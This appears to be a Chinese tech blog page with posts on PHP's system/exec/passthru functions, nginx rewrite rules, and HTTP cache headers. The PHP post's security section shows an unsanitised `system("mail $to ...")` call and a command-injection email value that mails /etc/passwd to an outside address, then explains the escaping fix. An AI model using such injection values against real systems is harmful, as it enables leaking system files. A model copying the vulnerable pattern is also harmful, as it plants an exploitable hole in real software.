Feb21

SWFUpload v2.2中文文档

Author: leeon  Click: 8679   Comments: 0 Category: CSS | HTML  Tag: swfupload

SWFUpload最初是由Vinterwebb.se开发的一个客户端的上传工具.它结合了FLASH和JavaScript的功能,以提供一种超越了传统的浏览器中标签提供的文件上传功能。
地址:SWFUpload中文文档

Feb17

PHP中调用系统命令的system(),exec(),passthru()比较

Author: 邹清水  Click: 38999   Comments: 0 Category: php  Tag: exec,system,passthru,php

我们知道php给我们提供了system(),exec(),passthru()这三个函数来调用外部的命令.
虽然这三个命令都能执行linux系统的shell命令,但是其实他们是有区别的:
    system() 输出并返回最后一行shell结果。
    exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
    passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
  相同点:都可以获得命令执行的状态码

在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()
原型:string system (string command [, int return_var])
system()函数和其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
[code="php"]
system("/usr/local/bin/webalizer/webalizer");
[/code]

exec()
原型:string exec(string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。如果array不是空的,在调用之前最好用unset()把它清除干净。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
[code="php"]
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
[/code]

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
[code="php"]
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
[/code]

2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
[code="php"]
$fp=popen("/bin/ls -l", "r");
[/code]

例子2
[code="php"]
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
[/code]

3) 用反撇号`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
[code="php"]
$res='/bin/ls -l';
echo ''.$res.'';
[/code]

这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
[code="php"]
system("mail $to < products.txt");
[/code]
echo "我们的产品目录已经发送到你的信箱:$to";

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
[code="bash"]
'--bla ; mail someone@domain.com < /etc/passwd ;'
[/code]
那么这条命令最终变成:
[code="bash"]
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
[/code]
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸好,PHP为我们提供了两个函数:EscapeShellCmd()EscapeShellArg() 。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(;),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:
[code="php"]
system("/usr/local/bin/order_proc > /tmp/null &");
[/code]

转载自邹清水 - 你的朋友

 

Feb17

nginx的rewrite 参数和例子

Author: leeon  Click: 9671   Comments: 0 Category: 优化  Tag: nginx,rewrite
nginx的rewrite 参数和例子
正则表达式匹配,其中:
* ~ 为区分大小写匹配
*~* 为不区分大小写匹配
* !~和!~*分别为区分大小写不匹配及不区分大小写不匹配
文件及目录匹配,其中: * -f和!-f用来判断是否存在文件
* -d和!-d用来判断是否存在目录
* -e和!-e用来判断是否存在文件或目录
* -x和!-x用来判断文件是否可执行
flag标记有: * last 相当于Apache里的[L]标记,表示完成rewrite
* break 终止匹配, 不再匹配后面的规则
* redirect 返回302临时重定向 地址栏会显示跳转后的地址
* permanent 返回301永久重定向 地址栏会显示跳转后的地址
一些可用的全局变量有,可以用做条件判断(待补全) $args
$content_length
$content_type
$document_root
$document_uri
$host
$http_user_agent
$http_cookie
$limit_rate
$request_body_file
$request_method
$remote_addr
$remote_port
$remote_user
$request_filename
$request_uri
$query_string
$scheme
$server_protocol
$server_addr
$server_name
$server_port
$uri
结合QeePHP的例子
[code="plain"]
if (!-d $request_filename) {
rewrite ^/([a-z-A-Z]+)/([a-z-A-Z]+)/?(.*)$ /index.php?namespace=user&controller=$1&action=$2&$3 last;
rewrite ^/([a-z-A-Z]+)/?$ /index.php?namespace=user&controller=$1 last;
break;[/code]
多目录转成参数
abc.domian.com/sort/2 => abc.domian.com/index.php?act=sort&name=abc&id=2
[code="plain"]
if ($host ~* (.*)\.domain\.com) {
set $sub_name $1;   
rewrite ^/sort\/(\d+)\/?$ /index.php?act=sort&cid=$sub_name&id=$1 last;
}[/code]
目录对换
/123456/xxxx -> /xxxx?id=123456
[code="plain"]
rewrite ^/(\d+)/(.+)/ /$2?id=$1 last;[/code]
例如下面设定nginx在用户使用ie的使用重定向到/nginx-ie目录下:
[code="plain"]
if ($http_user_agent ~ MSIE) {
rewrite ^(.*)$ /nginx-ie/$1 break;
}[/code]
目录自动加“/”
[code="plain"]
if (-d $request_filename){
rewrite ^/(.*)([^/])$ http://$host/$1$2/ permanent;
}[/code]
禁止htaccess
[code="plain"]
location ~/\.ht {
         deny all;
     }[/code]
禁止多个目录
[code="plain"]
location ~ ^/(cron|templates)/ {
         deny all;
break;
     }[/code]
禁止以/data开头的文件
可以禁止/data/下多级目录下.log.txt等请求;
[code="plain"]
location ~ ^/data {
         deny all;
     }[/code]
禁止单个目录
不能禁止.log.txt能请求
[code="plain"]
location /searchword/cron/ {
         deny all;
     }[/code]
禁止单个文件
[code="plain"]
location ~ /data/sql/data.sql {
         deny all;
     }[/code]
给favicon.ico和robots.txt设置过期时间;
这里为favicon.ico为99天,robots.txt为7天并不记录404错误日志
[code="plain"]
location ~(favicon.ico) {
                 log_not_found off;
expires 99d;
break;
     }      location ~(robots.txt) {
                 log_not_found off;
expires 7d;
break;
     }[/code]
设定某个文件的过期时间;这里为600秒,并不记录访问日志
[code="plain"]
location ^~ /html/scripts/loadhead_1.js {
                 access_log   off;
                 root /opt/lampp/htdocs/web;
expires 600;
break;
       }[/code]
文件反盗链并设置过期时间
这里的return 412 为自定义的http状态码,默认为403,方便找出正确的盗链的请求
“rewrite ^/ http://leech.example.com/leech.gif;”显示一张防盗链图片
“access_log off;”不记录访问日志,减轻压力
“expires 3d”所有文件3天的浏览器缓存
[code="plain"]
location ~* ^.+\.(jpg|jpeg|gif|png|swf|rar|zip|css|js)$ {
valid_referers none blocked *.example.com *.example.net localhost 208.97.167.194;
if ($invalid_referer) {
    rewrite ^/ http://leech.example.com/leech.gif;
    return 412;
    break;
}
                 access_log   off;
                 root /opt/lampp/htdocs/web;
expires 3d;
break;
     }[/code]
只充许固定ip访问网站,并加上密码
[code="plain"]
root  /opt/htdocs/www;
allow   208.97.167.194;
allow   222.33.1.2;
allow   231.152.49.4;
deny    all;
auth_basic "C1G_ADMIN";
auth_basic_user_file htpasswd;[/code]
将多级目录下的文件转成一个文件,增强seo效果
/job-123-456-789.html 指向/job/123/456/789.html
[code="plain"]
rewrite ^/job-([0-9]+)-([0-9]+)-([0-9]+)\.html$ /job/$1/$2/jobshow_$3.html last;[/code]
将根目录下某个文件夹指向2级目录
如/shanghaijob/ 指向 /area/shanghai/
如果你将last改成permanent,那么浏览器地址栏显是/location/shanghai/
[code="plain"]
rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;[/code]
上面例子有个问题是访问/shanghai 时将不会匹配
[code="plain"]
rewrite ^/([0-9a-z]+)job$ /area/$1/ last;
rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;[/code]
这样/shanghai 也可以访问了,但页面中的相对链接无法使用,
如./list_1.html真实地址是/area/shanghia/list_1.html会变成/list_1.html,导至无法访问。
那我加上自动跳转也是不行咯
(-d $request_filename)它有个条件是必需为真实目录,而我的rewrite不是的,所以没有效果
[code="plain"]
if (-d $request_filename){
rewrite ^/(.*)([^/])$ http://$host/$1$2/ permanent;
}[/code]
知道原因后就好办了,让我手动跳转吧
[code="plain"]
rewrite ^/([0-9a-z]+)job$ /$1job/ permanent;
rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;[/code]
文件和目录不存在的时候重定向:
[code="plain"]
if (!-e $request_filename) {
proxy_pass http://127.0.0.1;
}[/code]
域名跳转
[code="plain"]
server
     {
             listen       80;
             server_name  jump.example.com;
             index index.html index.htm index.php;
             root  /opt/lampp/htdocs/www;
             rewrite ^/ http://www.example.com/;
             access_log  off;
     }[/code]
多域名转向
[code="plain"]
server_name  www.example.com www.example.net;
             index index.html index.htm index.php;
             root  /opt/lampp/htdocs;
if ($host ~ "example\.net") {
rewrite ^(.*) http://www.example.com$1 permanent;
}[/code]
三级域名跳转
[code="plain"]
if ($http_host ~* "^(.*)\.i\.example\.com$") {
rewrite ^(.*) http://top.yingjiesheng.com$1;
break;
}[/code]
域名镜向
[code="plain"]
server
     {
             listen       80;
             server_name  mirror.example.com;
             index index.html index.htm index.php;
             root  /opt/lampp/htdocs/www;
             rewrite ^/(.*) http://www.example.com/$1 last;
             access_log  off;
     }[/code]
某个子目录作镜向
[code="plain"]
location ^~ /zhaopinhui {
  rewrite ^.+ http://zph.example.com/ last;
  break;
     }
[/code]
给discuz某版块单独配置域名
[code="plain"]
server_name  bbs.example.com news.example.com;      location = / {
        if ($http_host ~ news\.example.com$) {
  rewrite ^.+ http://news.example.com/forum-831-1.html last;
  break;
}
     }[/code]
Feb17

HTTP中cache-control的应用及说明

Author: leeon  Click: 9585   Comments: 0 Category: php  Tag: php,cache,control,http

网页的缓存是由HTTP消息头中的“Cache-control”来控制的,常见的取值有private、no-cache、max-age、must-revalidate等,默认为private。其作用根据不同的重新浏览方式分为以下几种情况:

(1) 打开新窗口
     值为private、no-cache、must-revalidate,那么打开新窗口访问时都会重新访问服务器。
而如果指定了max-age值,那么在此值内的时间里就不会重新访问服务器,例如:
Cache-control: max-age=5(表示当访问此网页后的5秒 内再次访问不会去服务器)

(2) 在地址栏回车
     值为private或must-revalidate则只有第一次访问时会访问服务器,以后就不再访问。
     值为no-cache,那么每次都会访问。
     值为max-age,则在过期之前不会重复访问。

(3) 按后退按扭
   值为private、must-revalidate、max-age,则不会重访问,
   值为no-cache,则每次都重复访问

(4) 按刷新按扭
无论为何值,都会重复访问

Cache-control值为“no-cache”时,访问此页面不会在Internet临时文章夹留下页面备份。

另外,通过指定“Expires”值也会影响到缓存。例如,指定Expires值为一个早已过去的时间,那么访问此网时若重复在地址栏按回车,那么每次都会重复访问: Expires: Fri, 31 Dec 1999 16:00:00 GMT

比如:禁止页面在IE中缓存

http响应消息头部设置:

CacheControl = no-cache
Pragma=no-cache
Expires = -1

Expires是个好东东,如果服务器上的网页经常变化,就把它设置为-1,表示立即过期。如果一个网页每天凌晨1点更新,可以把Expires设置为第二天的凌晨1点。

当HTTP1.1服务器指定CacheControl = no-cache时,浏览器就不会缓存该网页。

旧式 HTTP 1.0 服务器不能使用 Cache-Control 标题。
所以为了向后兼容 HTTP 1.0 服务器,IE使用Pragma:no-cache 标题对 HTTP 提供特殊支持。

如果客户端通过安全连接 (https://)与服务器通讯,且服务器在响应中返回 Pragma:no-cache 标题,
则 Internet Explorer不会缓存此响应。注意:Pragma:no-cache 仅当在安全连接中使用时才防止缓存,如果在非安全页中使用,处理方式与 Expires:-1相同,该页将被缓存,但被标记为立即过期



header常用指令
header分为三部分:
第一部分为HTTP协议的版本(HTTP-Version);
第二部分为状态代码(Status);
第三部分为原因短语(Reason-Phrase)。

[code="php"]
// fix 404 pages:   用这个header指令来解决URL重写产生的404 header 
header('HTTP/1.1 200 OK');
[/code]
  
[code="php"]
// set 404 header: 页面没找到
header('HTTP/1.1 404 Not Found');
[/code]
  
[code="php"]
//页面被永久删除,可以告诉搜索引擎更新它们的urls
// set Moved Permanently header (good for redrictions)
// use with location header
header('HTTP/1.1 301 Moved Permanently');

// 访问受限
header('HTTP/1.1 403 Forbidden');

// 服务器错误
header('HTTP/1.1 500 Internal Server Error');

[/code]
  
[code="php"]
// 重定向到一个新的位置
// redirect to a new location:
header('Location: http://www.example.org/');
[/code]
  
[code="php"]
//延迟一段时间后重定向
// redrict with delay:
header('Refresh: 10; url=http://www.example.org/');
print 'You will be redirected in 10 seconds';
[/code]
  
[code="php"]
// 覆盖 X-Powered-By value
// override X-Powered-By: PHP:
header('X-Powered-By: PHP/4.4.0');
header('X-Powered-By: Brain/0.6b');

[/code]  

[code="php"]
// 内容语言 (en = English)
// content language (en = English)
header('Content-language: en');
[/code]
  
[code="php"]
//最后修改时间(在缓存的时候可以用到)
// last modified (good for caching)
$time = time() - 60; // or filemtime($fn), etc
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $time).' GMT');
[/code]
  
[code="php"]
// 告诉浏览器要获取的内容还没有更新
// header for telling the browser that the content
// did not get changed
header('HTTP/1.1 304 Not Modified');
[/code]
  
[code="php"]
// 设置内容的长度 (缓存的时候可以用到):
// set content length (good for caching):
header('Content-Length: 1234');
[/code]
  
[code="php"]
// 用来下载文件:
// Headers for an download:
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="example.zip"');
header('Content-Transfer-Encoding: binary');
[/code] 
 
[code="php"]
// 禁止缓存当前文档:
// load the file to send:readfile('example.zip');
// Disable caching of the current document:
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
[/code]

[code="php"]
// 设置内容类型:
// Date in the pastheader('Pragma: no-cache');
// set content type:
header('Content-Type: text/html; charset=iso-8859-1');
header('Content-Type: text/html; charset=utf-8');
header('Content-Type: text/plain');
[/code]
 
[code="php"]
// plain text file
header('Content-Type: image/jpeg');

// JPG picture
header('Content-Type: application/zip');

// ZIP file
header('Content-Type: application/pdf');

// PDF file
header('Content-Type: audio/mpeg');

// Audio MPEG (MP3,...) file
header('Content-Type: application/x-shockwave-flash');

[/code]

[code="php"]
// 显示登录对话框,可以用来进行HTTP认证
// Flash animation// show sign in box
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Basic realm="Top Secret"');
print 'Text that will be displayed if the user hits cancel or ';
print 'enters wrong login data';
[/code]

分类

标签

归档

最新评论

Abyss在00:04:28评论了
Linux中ramdisk,tmpfs,ramfs的介绍与性能测试
shallwe99在10:21:17评论了
【原创】如何在微信小程序开发中正确的使用vant ui组件
默一在09:04:53评论了
Berkeley DB 由浅入深【转自架构师杨建】
Memory在14:09:22评论了
【原创】最佳PHP框架选择(phalcon,yaf,laravel,thinkphp,yii)
leo在17:57:04评论了
shell中使用while循环ssh的注意事项

我看过的书

链接

其他

访问本站种子 本站平均热度:9360 c° 本站链接数:1 个 本站标签数:464 个 本站被评论次数:94 次